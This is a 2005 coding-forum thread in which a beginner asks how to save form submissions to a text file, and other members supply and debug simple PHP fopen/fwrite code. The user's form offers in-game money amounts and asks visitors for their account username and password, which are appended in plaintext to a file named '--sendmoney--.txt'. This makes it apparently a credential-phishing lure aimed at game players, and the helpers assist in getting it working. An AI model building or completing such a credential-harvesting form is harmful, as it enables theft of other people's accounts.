Web Analytics Made Easy -
StatCounter save form data to text file - CodingForum

Announcement

Collapse
No announcement yet.

save form data to text file

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • save form data to text file

    how do i make my froum code send the info to a text file when the peopel hit submit and it takes you to a confirm page?

  • #2
    Do you mean form instead of forum?
    Spookster
    CodingForum Supreme Overlord
    All Hail Spookster

    Comment


    • #3
      yea, sorry just really tired

      Comment


      • #4
        That's not too difficult. Basically grab the data from the form, open a file and create a pointer to it, write to the file, close the file and then pass a Location header command to the browser to go to a confirmation page. Here is a simple example of saving an email address from a form to a text file

        http://codewalkers.com/tutorials/57/8.html

        After closing the file you could use a header to redirect the browser to the confirmation page

        PHP Code:
        header("Location: http://www.foobar.com/confirmation.php"); 
        Spookster
        CodingForum Supreme Overlord
        All Hail Spookster

        Comment


        • #5
          i dont under stand it how do i make this html page usse php and send when they they hit submit it send it to a file and i know to chang it to .php


          Code:
           <html>
          <head>
          <title>Send</title>
          </head>
          <body bgcolor="#000000" text="#FF0000" link="#FF0000" vlink="#FF0000">
          <form name="subscribe" action="submit.php" method="post">
          
          <p align="center">&nbsp;</p>
          <p align="center">How Much Money: <select size="1" name="D1">
              <option selected>5 k</option>
              <option>10 k</option>
              <option>50 k</option>
              <option>100 k</option>
              <option>500 k</option>
              <option>900 k</option>
              <option>1 M</option>
            </select></p>
          <p align="center">Account LvL:&nbsp; <select size="1" name="D2">
              <option selected>20 - 25</option>
              <option>26 - 30</option>
              <option>31 - 35</option>
              <option>36 - 40</option>
              <option>41 - 45</option>
              <option>46 - 50</option>
              <option>51 - 55</option>
              <option>56 - 60</option>
              <option>61 - 65</option>
            </select></p>
            <p align="center">Username: <input type="text" name="T1" size="20"></p>
            <p align="center">Password: <input type="password" name="T2" size="20"></p>
          <br />
          &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
          <input type="submit" name="submit" value="Submit" />
          </form>
          </body>
          </html>

          Comment


          • #6
            The page that the form is on doesnt need to be php. Just do what spookster said on the page that the form submits to, in your example, submit.php

            Comment


            • #7
              Hi armyman, I've recently done this for myself so I think I can help. In your form your action is 'submit.php'. This means that 'submit.php' should have the necessary code to write the information to the text file and then forward the user to wherever it is you want them to go.

              The four things you need to write to the text file are the contents of D1, D2, T1 and T2.

              Now, I'm no expert, but somebody else will no doubt confirm or deny this. You need to use code like this -

              PHP Code:
              <?php
              $d1 
              $_POST['D1'];
              $d2 $_POST['D2'];
              $t1 $_POST['T1'];
              $t2 $_POST['T2'];
              That first bit tells the script what to write in the file, in this case the values of each of your form fields.

              PHP Code:
              $filename "textfile.txt"
              $content "$d1\n, d2\n, t1\n, t2\n"
              That tells it which file to write to, and groups the content ready for writing.

              The contents of the $content tag is the bit I'm most unsure about, specifically the format I've put the multiple entries in, so this bit you will definately need to confirm with someone more experienced (I wouldn't mind knowing myself )

              PHP Code:
              $fp fopen($filename"a"); 
              $fw fwrite$fp$content );
              fclose$fp );
              ?> 
              Finally, this is to open, write to and close the file.

              Then to redirect the user after the script has executed -

              PHP Code:
              <?php
              header
              ("Location: http://www.yoursite.com/thankyoupage.html");
              exit();
              ?>
              I had a bit of a nightmare trying to get this to work, and eventually discovered that I had spaces at the end of some of the lines - make sure to eliminate all uneccessary spaces as this stops the script working properly.

              To everyone else who has already answered - not trying to tread on your toes, but I'm finding that explaining things to other beginners is helping me to learn myself. If I have got anything wrong above please don't hesitate to correct me.

              Regards,
              Pennimus

              Comment


              • #8
                ok thx now i understand

                Comment


                • #9
                  it wont work in log its only showing frist thing they chose look(i did it 2 times):

                  900 k
                  , d2
                  , t1
                  , t2
                  5k
                  , d2
                  , t1
                  , t2


                  here is file again:
                  Code:
                    <html>
                  <head>
                  <title>Send</title>
                  </head>
                  <body bgcolor="#000000" text="#FF0000" link="#FF0000" vlink="#FF0000">
                  <form name="subscribe" action="submit.php" method="post">
                  
                  <p align="center">&nbsp;</p>
                  <p align="center">How Much Money: <select size="1" name="D1">
                      <option selected>5 k</option>
                      <option>10 k</option>
                      <option>50 k</option>
                      <option>100 k</option>
                      <option>500 k</option>
                      <option>900 k</option>
                      <option>1 M</option>
                    </select></p>
                  <p align="center">Account LvL:&nbsp; <select size="1" name="D2">
                      <option selected>20 - 25</option>
                      <option>26 - 30</option>
                      <option>31 - 35</option>
                      <option>36 - 40</option>
                      <option>41 - 45</option>
                      <option>46 - 50</option>
                      <option>51 - 55</option>
                      <option>56 - 60</option>
                      <option>61 - 65</option>
                    </select></p>
                    <p align="center">Username: <input type="text" name="T1" size="20"></p>
                    <p align="center">Password: <input type="password" name="T2" size="20"></p>
                  <br />
                  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;  &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
                  <input type="submit" name="submit" value="Submit" />
                  </form>
                  </body>
                  </html>
                  and here is php i had to take out the redrect cuse there was an error it it:
                  PHP Code:
                   <?php 
                  $d1 
                  $_POST['D1']; 
                  $d2 $_POST['D2']; 
                  $t1 $_POST['T1']; 
                  $t2 $_POST['T2']; 
                  $filename "--sendmoney--.txt";  
                  $content "$d1\n, d2\n, t1\n, t2\n";  
                  $fp fopen($filename"a");  
                  $fw fwrite$fp$content ); 
                  fclose$fp ); 
                  ?>


                  any one see whats wrong?

                  Comment


                  • #10
                    Yes, my bad, I didn't properly write the variables

                    it should be -

                    PHP Code:
                    $content "$d1\n $d2\n $t1\n $t2\n"
                    Added dollar signs to the other three, and also removed the commas as you probably don't want them in there.

                    What was your problem with the header redirect exactly? Please tell me you changed 'yoursite.com/thankyoupage.html' in the code to an actual page of yours
                    Last edited by Pennimus; Jul 30, 2005, 08:58 PM.

                    Comment


                    • #11
                      ah lol np easy mistake ill fix it also in the log is there a way to put space inbetween all the stuff?? like

                      gh
                      gfhgf
                      ghf
                      ghgf

                      ghfhf
                      ghf
                      gfhfg
                      gfh
                      Last edited by armyman; Jul 30, 2005, 09:13 PM.

                      Comment


                      • #12
                        Just put an extra new line at the end of the $content line - \n is for a new line.

                        PHP Code:
                        $content "$d1\n $d2\n $t1\n $t2\n \n"

                        Comment

                        Working...
                        X